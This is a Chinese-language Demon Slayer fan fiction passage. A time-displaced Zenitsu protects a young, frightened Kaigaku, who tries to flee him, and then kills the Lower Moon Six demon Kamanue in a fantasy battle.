排在他肩膀上的轻柔力道像是敲在他心脏上的钟,一下又一下,警告着他颤抖的身体,不许震颤、不许震颤!
!
狯岳感觉自己要被这力道给拍死了,死在这个说要保护他的人手中。
不可以,不可以这样死掉!
没事的,他不会杀掉你的,狯岳,要冷静,要冷静。
狯岳拼尽力气平息下身体的颤抖,平复自己急促的呼吸,勉强自己去听抱着自己的人口中说了什么话。
一起……去……找……爷爷?
不管了,先答应下来这个疯子,之后再逃跑!
狯岳勉强自己干哑的喉咙发出声音,但是口腔像是被强力的胶水黏住了,根本张不开。
快回话!狯岳!快回话!
狯岳拼命撕扯着自己被粘合住的口腔,用尽全力,必须在这个疯子不耐烦之前发出声音!
他的面部肌肉用力到抽搐,终于,像是撕开他长在一起的肉一般,狯岳终于开了口,从喉腔中挤出来一声沙哑的字。
“……好。”
我妻善逸牵着师兄的手,一起走下了山。等到他们来到最近的城镇时,天已经微微亮。
正是初夏时刻,此时的城镇之中,已经有早起的人在收拾准备一天的忙碌了。
我妻善逸的衣服上还有大片的血渍。他将自己的日轮刀藏在羽织之下,为了掩盖身上的痕迹,也为了他们二人的路费,他专门在下山时猎杀了三只兔子提在手上,还将兔子的皮毛弄得满是血渍,伪装自己是捕杀兔子时身上沾染的血。
有人注意到了善逸与狯岳,但是见两位只是还没有十二岁的小孩,就没太在意,还好心地为善逸指明了城镇上肉铺的位置。
我妻善逸摸着头,小声感谢了路人的好意,随后便沿着路人所指的方向来到了肉铺前。
时间太早,肉铺老板还没开门。善逸牵着师兄,两人一起坐在了铺子前的空地上,等待着整个城镇醒过来。
善逸当然听到了自己师兄内心中疯狂尖哮着的恐惧。师兄还在害怕刚刚那只鬼吧?
善逸想起了自己要带给师兄幸福的计划。于是,善逸托住狯岳的双手,笑着道:“没事了,师兄!我会杀死恶鬼保护你的~”
他盯着师兄满是伤痕的双手,继续絮絮叨叨地念叨着:“虽然我也没有多少力量啦……恶鬼确实很可怕……我第一次面对恶鬼的时候甚至都被吓晕了!幸好有好心人将鬼给杀掉了……当时真是吓人,我现在想起来还是觉得好恐怖……不过,师兄,现在的我已经能够杀死恶鬼啦!所以不用害怕了哦?”善逸将自己的脸在小小的狯岳手心中轻轻蹭蹭,试图给师兄传递更多的安全感。
狯岳感受着面前这个疯子在自己手心中的触感。善逸脸上的裂痕就像是被黄金缝补的玉石一般,虽绚烂但依然有痕迹。昨天从天上摔下来的人满脸
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血迹,但在下山的途中,善逸清洗了自己的脸。直到这时候,他才有机会看到我妻善逸的容貌。
善逸的眼睛大且圆润,眼瞳是如闪电一般锐利且明亮的金黄色,在眼瞳深处隐隐泛着蓝光。眼角下垂,粗短的眉毛也向下耷拉着,看上去怯懦而温驯。脸蛋圆润且流畅,还带着没长开的稚嫩,一头灿金色的短发也安分地耷拉着。除了发尾的那点像是电光的蓝,以及脸上被青金石一样的颜色填补的裂纹伤痕,任谁来看,这都只是一个胆小且怯懦的人。
和狯岳之前见到的抱怨着恶鬼打断了他们师兄弟之间的交流,一剑就斩杀了恶鬼的那个疯子完全是两个人。
狯岳终于有机会思考自己的处境了。他看着眼前一口一个师兄的叫着,嘟嘟囔囔地讲话的疯子,思考自己该如何逃脱。
面前这个疯子对师兄的深切执念压得他喘不过气。诚然,这样待在这个疯子身边,他的安全能更有保障,但是这样感情沉重且不稳定的人就像是炸弹一般,不知道何时会爆发。可能上一秒还被他捧在手心,下一秒脑袋就被他砍掉了。
狯岳恶意地猜测着,看他这个疯样,说不定他的师兄就是被他自己杀掉的,才会在大街上到处认人作自己的师兄。
在这样倾注浓厚感情且喜怒无常的师弟在,就算是亲师兄也不会好到哪里去。而狯岳深知,自己绝对不是他口中的那位师兄。
虽说与这个疯子解释过了自己根本没见过他,当时也确实被放走了。那之后这个疯子不知道又受到了什么刺激,又开始追着他喊师兄。
万一他那天醒悟过来,认识到自己认错了人,进而要将自己这个认错了的假货给一刀砍死怎么办?
狯岳不想死,他想活着,哪怕喝泥水,吃那些被人踩烂的果子,他也要活着。
所以,他必须逃离这个疯子,逃离这个不稳定的炸弹。
第一步,他需要先稳住眼前的人,让他放松下警惕,自己才能够找到机会逃跑。
狯岳打断我妻善逸的絮叨,开口询问:“你叫什么名字?”
师兄终于开始和自己说话了,善逸很开心:“我叫我妻善逸。师兄,记好了哦!”他将托着的师兄的手握在手心,盯着师兄的绿眼睛,继续开心地讲:“还有哦,师兄,你叫做狯岳,对吧?稻玉狯岳,很好听呢,和我的名字合在一起就是稻妻哦,一听就是师兄弟。”
狯岳愣住,心中充满了疑惑不解。他直接问了出来:“你怎么会知道我的名字?”
就算是特意去问,也只会知道“狯岳”这两个字,面前这个疯子是怎么知道他的全名的?!
“我说啦,我们是师兄弟嘛!怎么会有师弟不知道师兄的名字呢?也太失职了!”
师兄的全名,还是他在桃山时,被爷爷派遣着收衣服看到的。当时那件从没见师兄穿过的羽织之上,整整齐齐地绣着“稻玉狯岳”四个字。
“师兄弟……”狯岳确定自己确实没有见过眼前这个疯子。他从出生到现在,四处流浪、颠沛流离,记忆中插不进头发颜色这样鲜艳的少年。
怎么会呢?怎么会?他和这个小疯子的师兄居然名字相同!是巧合吧?一定是巧合吧?
就算他真在自己忘记的时候当过这个小疯子的师兄,他也不会在这样的人身边停留的!!
他最后一次试图强调:“我以前没见过你。”
善逸不在意,伸手试图抚摸上自己只有十多岁师兄毛茸茸的黑色脑袋,被狯岳躲过也并不失落:“没关系,我们会成为要好的师兄弟的,我们会成为一家人。”
说罢,善逸没管狯岳怔然的表情与困惑的心音,他将狯岳从地上拉起来,拍拍手捡起地上的兔子,冲着肉铺的方向说:“开门了,师兄。”
狯岳转头,两三秒后,肉铺的门从里面打开。城镇的早上,终于开始。
4. 第四章
为了自己的师兄幸福计划,善逸勇敢地站出来,试图将师兄的一切都安排好。所以哪怕受到变小的身体影响,对比他高大的陌生人有些害怕,善逸还是在和肉铺老板的一番沟通之下,将自己手中的兔子换成了钱。
善逸高高兴兴地将兔子卖了出去,也没在意店家少给的那两个铜钱。他拉着狯岳的手,与他讲之后的行程:“我们先在镇子里找一处吃饭,之后就要往下个城镇去了!”说罢继续嘀嘀咕咕:“没有啾太郎指路,自己辛苦找路真得好累啊……也不知道什么时候才能够再见到啾太郎……”
狯岳默默的听着善逸的话,同时攥紧手中的两个铜板。他算过店家的报价,所以在离开前偷偷地将店家少给的那两个铜板摸了下来藏在了手中。
他要为他逃跑后的生活做准备。
同时,他默默规划着要暂时顺从这个神经病的一切决定,等到他放松时才能寻找时机逃跑。
他们来到城镇中的面馆吃了两份荞麦面,之后就告别城镇,继续走向了山林。
两座城镇之间有更加平缓的道路,但为了能够在日落时到达,再加上他们还需要积攒更多的路费,于是他们选择了从山林中行走。
善逸一直关注着师兄。自家师兄一路上老老实实地牵着善逸他的手,跟着他快速在山林之中穿行。狯岳的心声逐渐趋于平静,只剩下淡淡的紧张感,让我妻善逸放松了不少。
善逸虽说不知道为什么又回到了十岁左右的身量,不过他曾经日日不辍的锻炼带来的肌肉增长并没有消失,加上他一直保持着常中呼吸,他走着走着,速度不自觉加快,而没有他的身体强度也不会呼吸法的狯岳倔强地没有开口,咬牙跟上了他的速度。
等到善逸发现师兄的肺部发出像是破风箱一样的声音时,狯岳已经累到麻木,没有知觉的双脚机械般向前行走着,喉咙向上涌出血腥气,整个人都要脱水了。
“咦呀!!!师兄!!”善逸急忙停下,哭唧唧地抱着往地上倒的师兄:“师兄你没事吧?!!不要死啊师兄!!”
被善逸的速度累死,又要被善逸的胳膊勒死的狯岳沙哑着嗓子道:“……水……给我点水……”
“好的好的!师兄你坚持住!!我这就带你找水!”
善逸一只手拖着狯岳的腰腹,另一只手揽过狯岳的膝窝,用公主抱的姿势带着师兄从树木山石间穿过,找到了山林之中的浅浅小溪。
善逸将怀中的师兄放置一旁,从小溪上捧出来一捧溪水,喂到师兄的嘴边:“师兄,喝水!”
狯岳将善逸手中的水饮尽,才终于缓了过来,在小溪旁的石头上坐着,听善逸不停地絮絮叨叨:“师兄你也真是的,逞强到这种地步,明明只要和我说一声就可以放慢速度的!这下好了,之后估计要我背着你走了!太逞强了!师兄!”
狯岳不理这个只认识了不到一天的人的自来熟念叨,权当这个疯子在讲疯话。他转头观察四周,发现在他们不远的地方,有一个木制的小屋。
善逸也看到了那个山林中的小屋。他将在大石头上的师兄抱起,穿行几步,将师兄放在了小屋外的檐廊处,自己也坐在了旁边。
善逸继续单方面地向自家师兄输出:“师兄要注意自己的身体啊!总是将自己逼到极限身体也会累的!按时休息,按时休息,懂吗?”
善逸想起桃山时师兄拼命练剑的身影。每天都将自己变得汗淋淋的,像是要压榨身体所有的力量。那样的师兄,在总是被师傅拽着才好好练剑的当时的自己眼中,是一道遥不可及的背影。
他看着身边力竭休息的小号师兄,两道身影逐渐重合。都是一样的,拼了命的向上爬,一刻也不敢停歇,像是停下来,身后就会有沼泽将其吞下。
所以,师兄的心音里总是带着急切,总是带着焦虑与他自己都察觉不到的不安,哪怕在最令善逸安心的桃山,他的师兄心中依然充满了紧迫感。
向上爬!向上爬!不要停下!不要停下!停下就会、就会!!
这样的声音一直围绕着狯岳,挤压着他,让他像是一条坠入深海的浅水鱼。
善逸甚至有想过拦下师兄询问,问他停下来会怎样呢?
但是师兄不耐烦的眼神与粗暴的语言,让他不敢太过靠近,不敢问出这在师兄看来大概率是冒犯的话。
师兄大概会嘲笑自己心无大志不思进取,还想阻拦别人前进这样吧。
善逸看着自己身边小小的师兄,不自觉的微笑起啦,眼神却暗沉下去。
没关系,师兄,无论你为什么没办法停下,我都会帮助你的。
帮你获得你想要的,带给你幸福,只要你不会离开我和爷爷,不会自己悄悄地变成鬼。
我会帮你的。
狯岳缓了好一阵,将善逸反复的唠叨当成了耳旁风。他拽了拽依然在讲话的善逸的袖子:“我休息好了。我们走吧。”
不知为何,他总有种危险的感觉。此地不宜久留。
“休息好了吗?之后的路我带你走吧?”善逸起身,想要顺手将师兄从檐廊上抱起来,突然听到了细微的动静从小屋传来。
?
善逸的动作停了下来。他们来这处小屋休息时,观察过这栋大白天里门户紧闭的房子。房子稍显破旧,但是能看出有人出入的痕迹,说明这并不是套荒废的建筑。当时善逸猜测可能是这家的主人暂时出了远门,但此时,在善逸的听觉中,木屋里出现了一点像是尖锐物品插入地面的细小动静。
狯岳看到善逸的动作停顿住,疑惑开口:“怎么了?”
善逸正想要查看情况。刚刚的动静让他感觉有点不妙。此时,两只兔子蹦蹦跳跳地从小屋后蹿了出来。
“没事,那突然蹿出来了两只兔子。”也许是兔子的声音吧?
善逸也不浪费,两三下抓住那两只野兔,扭断脖子提着耳朵,用麻绳系好挂在手上,回来将师兄背到背上,离开了这座山林中的小屋子,继续赶路。
在他们身后,那座门户紧绷的小房子里,尖锐的指甲可惜地划过了地板,留下一道深深的痕迹。
鉴于他们两人(尤其是狯岳)拼命地赶路,到达下一个城镇时,天还没有完全变暗。
照例找了家肉铺将手中的兔子换成了铜板,善逸背着自家师兄找了间旅店住下。
住宿不便宜,好在店家包了份晚饭,加上有温泉,善逸也需要清洗自己浑身的血渍,还是咬牙花去了所有的铜板。
狯岳示意善逸将自己从背上放下来,在桌前坐好。善逸积极地将两人的晚饭端来,在师兄伸手去接的时候避开了手:“师兄!让我来喂你吧!”
狯岳恼怒地瞪了他一眼,不知为何,还是妥协了,被他一口一口地喂完了晚饭。
用筷子将米饭塞到师兄嘴里,然后等师兄嘴巴一鼓一鼓吃完咽下,之后乖乖张嘴,等下一口饭喂到嘴边……有时候还会装作不经意地用凶凶的眼神瞪自己两下,在自己看过去时又假装若无其事地移开视线,像一只使坏的小猫。
虽然师兄总是凶巴巴的,那张脸却一直很招人喜欢。看到师兄乖巧地吃饭,被萌到了的善逸莫名想起上辈子围着师兄的那些女孩子。
嘛,虽然都被师兄的表情给吓跑了。真是不懂珍惜。
善逸再次看了师兄一眼,刚好对上师兄瞪他的眼神。
但是现在的师兄哪怕凶起来也完全不吓人啊~真不知道为什么会变成之后那种样子。
不过,真可爱~
终于,在善逸的冒小花花中,狯岳吃完了晚饭。
善逸将师兄的碗筷放下,之后端起自己微微凉掉的饭菜三两口吃完,然后一抹嘴,将碗筷收好交给店家。随后善逸接过店家给的浴衣,领着师兄,一起走进了浴室之中去。
“师兄!!和我一起泡澡吧~”被师兄的可爱模样治愈到,善逸的心情很好,哪怕自己的师兄并没搭理自己,径直走进了淋浴间,也没影响他的好心情。
在泡温泉之前先要用水将自己洗干净。善逸早早洗完,还要趁有机会将自己沾血的鬼杀队队服洗干净。狯岳则是先行告别善逸去到了温泉之中。
善逸听着自己师兄的动静,直到他走进了温泉之中,心跳声被温泉哗啦啦的声响遮挡住。
善逸高高兴兴地将自己衣服上的污渍洗干净,搭到了旅店的架子上晾晒,然后迫不及待地来到温泉,想要和师兄一起泡澡。
和师兄一起美美地泡温泉,然后懒懒散散地回去睡觉,也是善逸幸福师兄计划的一环呢!
只可惜,或许是我妻善逸忙活得太晚,等到他来到温泉中时,汤池里已经没有了师兄的身影。
来到温泉之中,哗啦啦的水声更大了。善逸没办法判断师兄的去向,但想起师兄今天一天都乖巧地待在自己身边,就暂且按耐下了心中的急躁,进入到了温泉之中。
“诶——师兄已经泡完澡了吗?”善逸沮丧地脱下浴衣进入温泉中,不高兴地冒泡泡:“早知道就再快一点了……师兄也真是的,难得有机会舒舒
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服服地泡温泉,干嘛这么早就离开啊……”
善逸连好好享受温泉的兴致也没有了,蔫蔫地在热腾腾的温泉中将自己泡软后,慢吞吞地穿上了浴衣,拖着脚上的木屐回到了房间里。
站在房间门口,善逸用双手拍上自己的脸:没关系!就算没能和师兄一起泡温泉,也还有机会和师兄在同一个屋子里睡觉啊!
加油!善逸!努力让师兄感到幸福吧!
善逸拉开房间内的帐子门,语气昂扬地说:“师兄!我回来……了……”
房间里没有善逸想象的师兄铺好床等自己的身影。房间依然空空荡荡,被子也在壁橱里放置着,但是师兄摆放在房间入口的草鞋却不见了踪影。
好心情戛然而止。
“师兄呢?”善逸扬起的语调沉了下来,他像是与师兄捉迷藏一般,拉开壁橱:“师兄?”
壁橱中没有狯岳的踪影,除了床铺,只有藏在里面的浴衣。
那是店家拿给狯岳的浴衣。
善逸阴沉着脸,低着头去询问店家有没有看到狯岳的身影。
“那个小孩啊?他吃完饭到温泉后没多久就出去了,说是他同伴让他出去买点东西这样子。”店家正在打算盘,没注意到眼前的小孩脸色越来越阴沉。
“是吗?谢谢您。”善逸小声地将话语从喉咙中挤出来:“他这么晚还没回来,看来我需要出门找找他了。”
话毕,善逸转身就走出了旅店门,留店家在身后大喊:“喂!小鬼!我们家的浴衣不能穿出门的!!”
善逸将自己的日轮刀藏在了身后,沿路问询着狯岳的踪迹,一直到他们下山的地方,看到了地上掉落的两枚铜板。
他将铜板捡了起来,向上望向山林。黑暗里的山林像是会吞噬人的野兽,朝着善逸张开了大嘴。一瞬间,善逸又想起了师兄变鬼后狰狞的面庞。
“不能抛下我啊,师兄。”善逸喃喃道:“说好了一起去找爷爷的。”
他将捡到的那两枚铜币收了起来,通过听觉确认了师兄的方位,沿着山道三两下窜上了山林。
狯岳并不知道自己着急之下将藏在衣服中的两枚铜板甩掉了。他趁着冲完澡后离开了善逸的视线,一刻不停地收拾自己的东西逃跑。
在来到这个城镇的路上,狯岳仔细地记住了路线。他要折返回到上个城镇,要远离这个神经病!
他在那个疯子面前装了一天的乖巧,就是为了等他放松警惕是偷偷跑掉!他从温泉中绕出来,和问询他的店家谎称自己出门买东西,然后拿着自己攒下的小包裹着急忙慌地向着山林跑去。他还记得山林中的那个小房子,只要自己能在哪里躲一晚,等到天亮时再回到上个城镇,就可以逃离那个疯子的掌控了!
现在已经天黑了,就算发现自己不见,那个疯子也会等到明天再来找吧?只要自己天亮之后立马离开,不会被他抓到的……
狯岳抱着这样的打算在漆黑的山林中穿梭。他不是不害怕恶鬼那样的怪物,但是比起恶鬼,善逸给他带来的危机感更甚。在善逸身边时,狯岳这么多年流浪锻炼出的危机感一直在警报。离他远一点!不然,就会像那个恶鬼一样被砍掉脖子!
所以哪怕狯岳非常疑惑善逸从哪里知道他的名字,在他面前时善逸一直是温和甚至有些怯懦的姿态,狯岳还是坚定地想要逃跑。
狯岳的运气实在是不好。从他记事起,那些匪夷所思的倒霉故事就一直是他生活的常态。直到他渐渐长大,倒霉的事情才少些。他本以为自己可以喘息口气,没想到遇见恶鬼,又遇见硬扯着自己喊师兄的高武力神经病,这样的事接连发生,让狯岳在黑漆漆的山中不住担心自己会再遇见鬼。
他就这样不回头地跑着,心脏如擂鼓般咚咚响,白天累到脱力的状态在肾上腺素的加持之下好似让他焕发出了新的力气,一直到远远地看见白天那个小木屋,狯岳才缓缓松了口气。
他晃晃悠悠地走过白天两个人坐着的檐廊,酸胀的双腿让他步步难行。他坚持着走到了小屋的门前,用力扯开了紧紧闭合的大门,差点一头栽进去。
然而,大门打开后,眼前的场景让他的心脏几乎要停跳。
“呦?这不是白天跑掉的嘴边肉吗?真乖巧啊!专门挑我的饭点来~”
大门打开,月亮的光辉照耀进来,门中怪物盘膝坐着,手中抓着鲜血淋漓的碎肉啃食,觊觎的目光直直盯向狯岳的脸。
它的眼中,写着大大的三个字。
下弦、六。
5. 第五章
跑!快跑!!
在拉开帐子门的一瞬间,狯岳脑海中只剩下了这一个念头。
然而持续一天的高强度奔跑让狯岳的双腿已经力竭,此刻能撑着自己不倒下就耗尽了力气。他只能眼睁睁地看着眼前的恶鬼三两口吃完手中的肉,接着一步步朝着自己走来。
狯岳的灵魂拼命叫嚣着逃离,可□□已经全然罢工,竟没办法再迈出一步。
眼前食人的恶鬼越来越近,只要恶鬼的爪子向前撕扯,自己就会化作它鬼爪中的一摊碎肉。
怎么办?!!他甚至没有了逃跑的力气!
危急关头下,他的心脏极速跳动,泵出来的血液极速地在身体内部流淌,压榨着身体里的每一块疲惫的肌肉。肺泡也在极速地收缩,大量的气体顺着呼吸道来到身体中,再由血液将氧气带到全身。
他疲惫的身体在努力回应他尖叫的灵魂。
面前的恶鬼察觉到了他身体的变化,伸出的爪子停顿了一下。
“哦?你是鬼杀队的剑士吗?”这个脸上有着工字型刺青的鬼手托下巴,仔细地观察了狯岳的身形与装扮。
“不像,我没见过鬼杀队有这么小的小不点。”
狯岳感觉全身都要燃烧起来了,快速且大量的气体交换让自己疲惫到麻木的双腿又有了力量。他注意到了木屋内斜靠在墙壁上的斧头,发热的大脑反而让他的行动更加的果断。他急速上前,双手抓握住抓住斧柄后一个转身,借助身体扭转的力量将斧头锋利的利刃砍在了恶鬼身上!
成功了!!
狯岳看着眼前被劈入恶鬼身体中的斧头,心中的紧张被欣喜占据了一点。对的,就这样!再用斧子砍两三下,他就可以从恶鬼手中逃出去了!
“……呼、呼!”
狯岳双手抓着斧柄,正要将斧头拔出来再来一击,结果眼前恶鬼的背影伸出了右手,向着自己袭来,那指甲锋利且带着刺青的鬼手将自己连带着插在鬼背后的斧头,一起从背上拔了下来。
“而且你没有日轮刀,也没有鬼杀队的家伙会用这种对鬼没任何效果的武器砍上来。”
那只抓住狯岳的手专门停顿了一下,好让狯岳眼睁睁看到拔出斧头后,恶鬼背上的伤口以肉眼可见的速度愈合,不留一丝痕迹。
见到这一幕,狯岳极速的呼吸节奏乱掉了,体内高速流动的血液也缓慢下来,整个人的全身肌肉都火辣辣的痛,肺部更像是漏水的气球一般,一呼一吸间都带着可怖的灼烧感。
恶鬼将斧头扔到一边,单手抓住狯岳的脖子:“你看,我就说,这不是连呼吸都乱掉了吗?”
“真是的,何必挣扎,乖乖被我吃掉就好了……”这恶鬼好似谈性大发,将狯岳掐着脖子拽起来,举到了眼前:“要我说,你该认命。你看,中午侥幸从我手中逃脱,晚上就又送到了我嘴里。这是天上的神仙想让你去死呢!死在我嘴里也好,还让我美餐一顿,也算是攒了你的功德……”
狯岳拼命地掰抓着自己脖颈的手。他的四肢本就没有了力气,在缺氧的情况下,大脑也开始晕眩。
难道……真的是……天上的神仙,想让他死吗?
他的脑海中闪过一幕幕画面。
父母去世被关到家里差点饿死、送到亲戚家后差点被打死、过河踩空栽倒河里差点溺水死掉、从水中爬上来发烧又差点死掉……如果是神仙的旨意,那天上的神仙,该有多恨他呢?
他也恨啊,他恨世界上活下来了这么多人,为什么偏偏要死他一个?
不行,他不能死!他要活下去!他要活下去!
狯岳的手努力地掰着掐他脖颈的手指,然而缺氧让他逐渐失了力气,手臂向下垂落,逐渐失去了声息。
“诶?这就死掉了吗?真是无趣呢。”感受着手中的挣扎逐渐微弱,恶鬼也扫兴地收打算将手中的小孩撕扯开吃掉。正在此时,一阵黄色的电光极速而来,下一秒,恶鬼只觉得手臂一痛,他抓着狯岳的手臂就掉了下来。
善逸在半空中揽腰接过随着恶鬼的手臂一起掉下来的人,落地后抱着师兄的上半身查看情况。
“师兄!你没事吧师兄!!”善逸远远看见自己的师兄被恶鬼抓着脖子提在手中气息也十分微弱,差点没被吓死。
幸好,自家师兄的气息虽然十分微弱,但心脏依然在努力跳动。
善逸将师兄放在了里小屋不远的树下,转而看向将师兄变成这幅样子的罪魁祸首:“就是你,将师兄变成这样的吗?”
“终于来了个鬼杀队的剑士了啊……”恶鬼,也就是下弦六釜鵺,另一只手将被砍下的手臂捡了起来,将断口接上,在鬼的恢复能力下手臂很快长好。随即,他看向出声的人。
“什么嘛,还是个小鬼啊……虽然看你这刀,确实是鬼杀队的。”釜鵺打量着这个开口的金蓝发小孩,和刚刚的小孩差不多高,腰间别着日轮刀,身上却没有穿鬼杀队队服,只穿着浴衣,脚上踩着木屐,就莽撞地来救自己的师兄了。
“你刚刚的动作很好哦?可比你师兄好多了。他甚至没有日轮刀呢!”年龄小,加上穿着也很不便,除了眼神特别骇人之外,完全就是逞英雄的小孩。釜鵺并没有将眼前这个小孩子放在心上。对他来说,只不过是今晚加餐一顿这样的事。
“不过你师兄在我手中挣扎的动作很大哦~想要将斧头砍到我身体里时的动作也很帅气。当然,我最喜欢的还是他发现斧头没办法砍伤我时绝望的眼神。啊啦,真是可爱。”釜鵺微微蜷缩起自己抓住过狯岳的右手,似是在回忆当时的手感。
“他真的好想活下来啊!可惜,你们两个今天晚上都活不了了。呐,拖把头,我还挺喜欢你师兄的。”釜鵺咂了咂嘴,可惜道:“真遗憾,如果我有那位大人的准许就好了。我应该把他转化为鬼的。凭那个小子那么强烈的生存欲望,不变鬼就死掉,他肯定会选择被我变成鬼的……”
釜鵺讲着,忽然一阵不妙的预感,他微微侧头,刺眼的电光在他的脸侧亮起,下一刻一道雷光闪过,自己的头就被削掉了半截,滑落到了地上。
“什么?!”釜鵺感受着自己错乱的视线,还与身体相连的那一半头颅震惊地看向身后的拖把头小子。速度快到他根本没有反应的时间!<
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p>善逸转头,看到那个眼睛里写着下弦六的鬼只是被斩掉了一半的头颅,没被完全的杀死,轻啧了一声。“我说啊,你们做鬼的,一个二个总是盯着别人的师兄干什么?”善逸明亮的眼睛阴沉沉的,月光打下来,头发的阴影映在上半边脸上,显得他才是要吃人的那个。
“!!你这个小鬼!!”
被砍掉的半边脸已经完全碎裂在了地上,根本没办法再拼回来,就连剩下的半边头颅也如裂开般疼痛。下弦的恢复速度完全比不上上弦,像是曾经在无限列车上见到的上三猗窝座的恢复速度更不是每个鬼都有的。被善逸削脸的釜鵺只能等待自己的脸缓慢的恢复回来。
釜鵺被完全激怒,也不敢在轻视这个差点将他的头颅斩落的小鬼。他不管还没恢复的脑袋,直接展开了自己藏在后背的翅膀。
泛着金属光泽的黑色翅膀边沿带着红色,扇动起的风像是挥舞的利刃,带着能割开皮肤的锋利。
“本来不想和你使出全力的,但是小鬼,你惹怒我了!哈哈哈!让你看看我真正的力量吧!”釜鵺剩下的那只眼中充满了血丝,双手双脚变成如鹰隼般的利爪,锋利的指甲之间带着绿色的弧光:“血鬼术-鵺刃!”
展开翅膀飞致半空的釜鵺双手在空气中划出弧线,随即两道绿色的风刃就朝着我妻善逸的方向斩了过去!
善逸轻松地躲过那两道风刃,没落到他身上的风刃转而在土地上留下两道深深的斩击痕迹。
“哈?有点能耐嘛,小鬼~”釜鵺笑道:“那么,这招,你能躲过吗?”
“鵺刃-连击斩!”
釜鵺的双手快速挥动,连续地使出风刃攻击,追着善逸的方向,那些风刃每一招都能够将躲闪不及的人劈成两半。
善逸用雷呼的方式快速移动着,游刃有余地躲过这么多道攻击,甚至还有闲心关注自家师兄有没有被战局影响,需不需要自己将釜鵺拉扯到别的地方战斗。
釜鵺的风刃是极快的,换个鬼杀队剑士来都没办法在这样密集的风刃中毫发无伤。然而,风能够很快,但是风快不过闪电。
善逸的每一步都带着电光,轻松且悠闲,好似他身后追着的不是要人命的风刃,而是一群咬不到人的小狗。
善逸就这样躲开风刃的情况下默默靠近了釜鵺:“好了吗?之后该我了!”
“雷之呼吸 一之型 霹雳一闪!”
善逸双腿发力,踩着身旁的树木,如一道迅捷的闪电一般,眨眼到达了恶鬼身边。
在半空中的釜鵺根本来不及躲避,危机关头他只能调整姿势,将自己的身体侧开,下一瞬,雷光已至,我妻善逸带着闪雷的日轮刀直接削掉了釜鵺的半边翅膀。
“呃!!”釜鵺在半空中失去翅膀,摔下来的途中,善逸再次斩出一击,将釜鵺的另一只翅膀也砍了下来。
落地后,善逸还想直接斩出第三刀,将恶鬼的头颅直接砍掉。没想到地上的下弦六突然冒出一阵绿光,下一秒,一只缩小了一圈的下弦六在善逸十米远的位置出现。
善逸低头,发现地上的恶鬼已经变成了一层皮!
6. 第六章
成功躲开的釜鵺心疼地看着地上的翅膀与皮肤。那些被善逸斩下的部分都带着雷电般的裂痕,一碰就碎,根本没办法恢复使用。不得已,他只得将它们全部舍弃。
脱掉了外面一层皮的釜鵺虽然缩小了一圈,然而他身上那些不能恢复的裂痕也全部愈合,不再桎梏他的行动。就连被善逸砍掉一半的头也恢复了大半,只剩下脑袋一侧太阳穴的位置还是平平的,看上去不太聪明。
釜鵺咬牙切齿地看着下面那个黄发拖把头。可恶啊!他养一层皮花费了好久!!普通剑士尽管能够砍到他身上,也很快就能自动恢复。没想到这个小子这么邪门,他的砍击带来的雷电裂伤居然恢复不了!!
他今天一定要将这个拖把头杀死吃掉!对了,还要在他眼前将另一个小鬼也吃掉!!
釜鵺展开自己蜕皮后重新出现的翅膀,再次飞到半空之中,对着地上的那个拖把头嚣张大喊:“之前是我轻视你了,没想到你个没桌子高的小鬼能有这样的能耐。很好,逼我使出大招,死在我的大招之下,也是你的能耐!”
“血鬼术-画地为牢!”
釜鵺翅膀上的尖厉羽毛每一道都扇出锋利的短刃,加上爪子上的巨大风刃,将我妻善逸所在的空间围了个密不透风!
翅膀上扇出的短刃随着爪子上的鵺刃风向转移方向,随即这些风刃从四面八方斩向了善逸所在处!
随着风刃的落下,那片土地被搅和得泥土飞扬,溅起的泥土挡住了善逸的身影。
这样的攻击,那个可恶小子根本没可能逃掉。釜鵺想着,同时又遗憾道:“可惜了,不能在你面前吃掉你的师兄。”
“你说什么?”
声音响在耳边,釜鵺浑身战栗,还想故技重施侧开身体,却直接被电光一分为二。
“呃啊!!不可能!!”釜鵺只剩下半边的身子不可置信地看着眼前将他砍成两半的我妻善逸:“你不是该在我的风刃牢笼里吗?”
“你说那个啊……”善逸直接抓住了釜鵺的左半边身体,防止他逃脱:“你那招太慢了,在风刃落地之前我就出来了。”
善逸再次拔刀,打算将釜鵺的头直接斩掉。结果手中抓着的恶鬼胳膊突然瘪了下去,竟又变成了一层恶心的肉皮。
釜鵺再次脱身。这次为了逃离他甚至脱下了两层皮!
现在的釜鵺只剩下了最开始的一半大小!他已经意识到了自己打不过这个小个子拖把头,甚至还可能死在他手里!
“不能死!我不能死!!”脱皮从善逸手中逃脱开始,釜鵺就疯狂地向外逃。他变小之后,身形灵敏了很多,展开翅膀飞的速度也非常快,像是雨林中穿梭的燕子一般,虽然他看上去像是恶心的蝙蝠。
要趁着那个恐怖的小鬼没反应过来逃掉!!釜鵺双眼充满血丝,拼命地扇动翅膀。终于,他看到了自己最开始躲太阳的木屋。
只要到达这个地方,就离山脚的城镇不远了!等到自己躲到城镇里,那个恐怖的小鬼还能够挨家挨户地找自己不成?
“哈哈哈!看来老天是不想让我死的啊!!”釜鵺的眼睛充血胀红,翅膀在极速的飞翔中羽毛片片剥落,然而他心中所想只有快一点,再快一点!
忽然,他看到最开始落自己手中的那个小鬼。此时的狯岳已经从昏迷中醒来,呆愣地看着极速飞来的恶鬼。
那个恐怖的小鬼不是很看中眼前这个家伙吗?那就杀死他好了,让那个拖把头小鬼哭去吧!
“去死吧!!”风刃从釜鵺的爪子上飞出,冲着狯岳的喉咙飞去。只要这一招落实了,狯岳再不可能活着。
“你才是,去死吧。”蓝色的雷光从釜鵺的身后射来,那即将落在狯岳身上的风刃被日轮刀挡下。下一秒,釜鵺的脑袋被斩下,而他的身体还没反应过来,依旧一个劲地向前冲着,争取着活下来的希望。
“我肯定能活!神仙说了!我能活着!!我能活!我能……嗬……!”
“我脖子被砍掉了?不可能!天上的神仙说了……我不会……死……”
“我……能活……”
善逸的霹雳一闪带着的裂伤让釜鵺被斩下的头更快地消散,变成飞灰落到了地上。就连依然执着地飞着的下半身,也在半空中碎裂开来,变成尘土。
善逸没去看被他杀死的下弦,满眼都是差点在他眼前被杀掉的狯岳。他扑上前:“师兄!!你没事吧!!!”
狯岳在恶鬼手中失去意识,以为自己死定了。然而没想到自己再次睁开眼,眼前就是那个黄头发的疯子游刃有余地在恶鬼的攻击之下躲避反击的样子。
看来,自己还是被那个疯子找到了啊……
他看着远处,在电光中穿行的我妻善逸,除了恐惧之外,丝丝缕缕的安定感从心底也窜了上来。他知道,他今天不会被鬼杀死了。
